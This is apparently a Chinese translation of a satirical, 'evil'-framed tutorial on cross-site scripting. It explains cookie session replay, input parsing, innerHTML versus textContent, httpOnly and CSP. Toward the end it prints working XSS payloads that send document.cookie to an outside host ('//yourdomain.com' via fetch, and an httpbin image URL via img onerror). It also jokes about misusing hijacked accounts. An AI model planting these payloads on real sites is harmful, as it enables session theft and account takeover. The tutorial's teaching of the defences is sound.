xjcloudy

跨站脚本傻瓜指南 – Hacker Noon

xjcloudy · 2016-12-23翻译 · 763阅读 原文链接

作者:Go to the profile of David GilbertsonDavid Gilbertson 翻译:xiejingcloudy@gmail.com

首先,我要声明一下。这篇文章的目的是邪恶的。我准备帮助黑客们做些违法的事情。教会他们使用跨站脚本窃取用户信息,然后用来实现最邪恶的目标。


这世上每分钟都有蠢货诞生(双关:sucker有婴儿的意思也有易受骗的人的意思),同样,破网站诞生的频率比这更快。你,作为即将成为一名黑客的读者。需要去找到一个有着一系列漏洞得网站。就如 串奶酪片一样. 注:这是一个生动的比喻。奶酪是多孔的。切成片后。截面上就是有很多洞。很多片奶酪叠在一起。你要想从一面用手指通过一个洞穿过整叠奶酪片,就得先调整好每一片奶酪片的位置。使每一片上特定位置的洞与上一片对齐,保证形成一个连续的通道。这里用来比喻,通过利用一系列漏洞来攻破网站。

我们到哪了? 额,好的。找一个脆弱的网站。我需要它满足以下条件:

  • 允许使用cookie登陆

  • 使用不安全的方式发送cookie

  • 不处理用户的输入

  • 允许发送数据到未知域


我们来一个一个看这个列表。

很多网站(94%吧)允许你使用cookie就能登陆。这就意味着,我们可以从一台机子上偷一个cookie,然后到另一台机子上就能登陆了。而并不需要知道用户名或密码。 有些开发者可能会制造点麻烦,比如通过浏览器指纹识别技术来限制cookie只在生成它的那台电脑上有效。但是很少有人会这么做。

我们用reddit试试看,是否允许我们在别处用他们的cookie。

  1. 安装这个chorme插件 EditThisCookie, 可以用来复制/设置cookie (请记得设为隐身模式可用).
  2. 直接去reddit.com 然后检查cookie。我们使用排除法来找到那个关键的cookie。大概30秒后你排除了其它cookie,发现一个叫reddit_session的可以使你每次刷新时保持登陆状态。我们拷贝这个cookie的值。

如果你愿意把这个值记录下来。你就可以以我的身份登陆reddit了。

现在我们以隐身模式打开一个窗口,然后访问reddit.com。显然这时是没有登陆的。用那个插件新建一个cookie名字是reddit_session然后设为刚才那个cookie的值。记得把下面那几个复选框勾上和之前那个cookie保持一致。这个例子里是勾上HttpOnly和Secure。

刷新页面。哒哒哒。你登陆进来了。不需要用户名,不需要密码。 这本身不是个安全问题,就是这样设计的。如果你没法在一个网站上做到这点那就没必须继续下面的了。

那么我们的思路就有了:将我们邪恶的手伸向cookie吧。要读取目标电脑上的cookie。我们只需要通过Javascript读取document.cookie属性,对吧?

错。 不幸的是,开发者很简单的就能防止通过javascript的方式偷窥他们的cookie。我们需要去找...

讨厌的开发者在设置cookie时设为了httpOnly,这让我们这些"友善的"黑客没法通过document.cookie来获取cookie。 显然这遭透了,但是幸运的是任然有一些网站没有在他们的cookie上设置httpOnly,但愿他们没到的这篇文章。 (提醒一下,你只能通过document.cookie获取到当前域的cookie。比如你当前页面是来自reddit.com。那么你通过document.cookie就只能拿到reddit.com设置的cookie。而拿不到buzzfeed.com的cookie。)


我有信心你会找到这种网站的。然后就可以用他们的cookie在别的机器上登陆了。接下来,我们需要去找...

一个接受用户自定义的数据并解析的网站

用户自定义的数据是什么意思?你们看到这篇文章最上面我的名字下面这段alert('tsk tsk')文字了没?这就是我自定义的。你所浏览的网页的每一个内容都是其他用户创建的(这就是所谓的web2.0)。不光medium、facebook、yelp是这样的,有一次我看到我的银行账单,下面有一则烹饪培训的广告。这显然不是我和银行能控制的。

那么我说的解析是什么意思呢?当浏览器解析HTML时会有2种情况:

  1. 当web服务器给浏览器发送一段包含有alert('tsk tsk')的html,浏览器会解析、执行这段javascript(除非是放到textarea或其他什么地方)

  2. 如果一个网站在前端使用element.innerHTML插入内容。也会触发解析(所以黑客最喜欢innerHTML了),但如果用的是element.textContent那就没不起作用了。

Medium(原文发表的网站)里是有聪明人的,他们虽然无法控制我在个人简介里输入什么东西。但是不幸的是他们知道不能信任和解析任何用户输入的内容。所以他们在生成html前,在服务端做了过滤。看起来变成了这样%3Cscript%3Ealert('tsk%20tsk')%3C%2Fscript%3E。然后他们在前端渲染页面时也是用textContent代替了innerHTML

MD.


识别这些防范措施的方法很简单。你可以像这样来找innerHTML:

  • 打开浏览器的调试工具(我推荐用chrome,不过,其他的也一样)
  • 打开network面板

  • 在一个js文件上点击右键选择Open in Sources panel

  • 点击底部的{}图标

  • 搜索 innerHTML

  • 找到哪里触发了这段代码(打个断点会方便很多。直接点行号那里就可以打断点。)

或者是更没技术含量的方法,在每一个可以输入内容的地方(个人资料、评论、填写意见、搜索框等等),输入包裹了<h1>标签的内容。如果展现的结果是<h1> 没有显示出来,那么你就知道了你的输入被解析了。这个网站开发者犯了一个低级错误。

不要忘记检查每一处会用到你输入文本的地方。Medium.com(原文所在网站) 想到了要过滤个人简介那里的内容,但是忘记了过滤当鼠标滑过我的头像时显示的tooltip里的内容。

通过这段代码来看看innerHTMLtextContent有什么区别

你可能会想猜,“是否一个网站使用innerHTML,但是只过滤掉<script>标签?”

答案是:完全正确!

(原文这里有一堆废话)

当开发者忙着写正则表达式过滤script标签时,你只需用换成&lt;img src=x onerror="alert('tsk tsk')"&gt;,这会加载一个不存在的图片,然后触发异常执行我们的脚本。


如果你顺利的进行到这一步,那么事情就变得简单了。你已经搞到了一个有安全隐患,能够注入javascript脚本,可以获取到cookie的网站。 那么剩下的就是怎么把cookie搞到手。

最后一步...

确定网址没有启用CSP(内容安全策略)

CSP才是最要命的。它会阻止你发送跨域的请求。我们可以用下面得代码在控制台中进行测试:

fetch('//httpbin.org/post',{method:'POST',body:document.cookie})

在medium.com(原文所发表的网站)里就被禁止了:

但在twitter.com,facebook.com上返回了一样的信息。看起来是这样:

yeah!! 这就证明了我可以跨域发送请求。(httpbin.org是一个简单的网站,它会原样返回你发送给他的内容)

仅仅因为没有内容安全策略,并不意味着不安全(目前有十分之一的用户还没有使用它)

我突然想试试看medium (原文所在的网站)会不会允许我跨域请求图片,如果图片出来了就证明成功了。所以这里我们可以通过请求图片将cookie值作为附加参数的方式来绕过CSP的限制。

&lt;img src=x onerror="this.src = '//httpbin.org/image/png?c=' + document.cookie"&gt;

上面这个例子,这个图片会先加载失败。然后又重置src为一个真实的图片地址。然后图片就出来了。

(如果你看到上面这个图片了,那应该猜到这意味着什么)。

开工

我们理一理,你找到一个可以允许用户提交内容的网站,并且它忘了转义和过滤你的提交。你注入的脚本再另一个用户的浏览器中被执行。拿到了cookie。然后把它发给你。你就神不知鬼不觉地窃取到了这个用户的身份。 当然,你不会仅仅只拿到了一个人的。 现在,你挑一块能被尽可能多的被人看到的,可以编辑的内容。输入下面代码:

&lt;img src=x onerror="fetch('//yourdomain.com', {method: 'POST', body: document.cookie})"&gt;

如果fetch()被阻止了,你就换成图片那个方法:

&lt;img src=x onerror="this.src = '//httpbin.org/image/png?c=' + document.cookie"&gt;

当然要把域名换成你自己的呃。 我只听说冰岛那里有不错的匿名域名服务商。其他的我什么都不知道。

hacking越大,责任越大(“能力越大,责任越大”超级英雄的梗)

如果你拿到的是一个社交账号,还是要注意点。别发些乱七八糟的图片。给你点建议。你偷偷在深夜发些无关紧要的段子。发些热门的深夜俱乐部的评价。为了显得自然你还可以ps他的照片发出来。然后偷偷流进他们的房子给他们手腕上盖个club的戳。

如果你拿到的是个电商平台账号。给他们订购一本书吧比如Ayn Rand的(一个作家)。或许是其他更好的东西,比如花,浴室称之类的。

如果碰巧是个技术论坛的账号。你应该去回答些javascript标签下的问题。让他们“用jquery解决”。对于CSS类的问题就统统回答建议用float:leftblabla..发布一个关于javascript 闭包的问题。(后面是一个Sex in the city “欲望都市”里的一个梗,没太懂。就不翻了)


谢谢大家。呃,还有一点。我补充一下。我对安全懂的不多,我在写这篇文章过程中也学习了很多知识。欢迎大家自由反馈。


译者xjcloudy尚未开通打赏功能

相关文章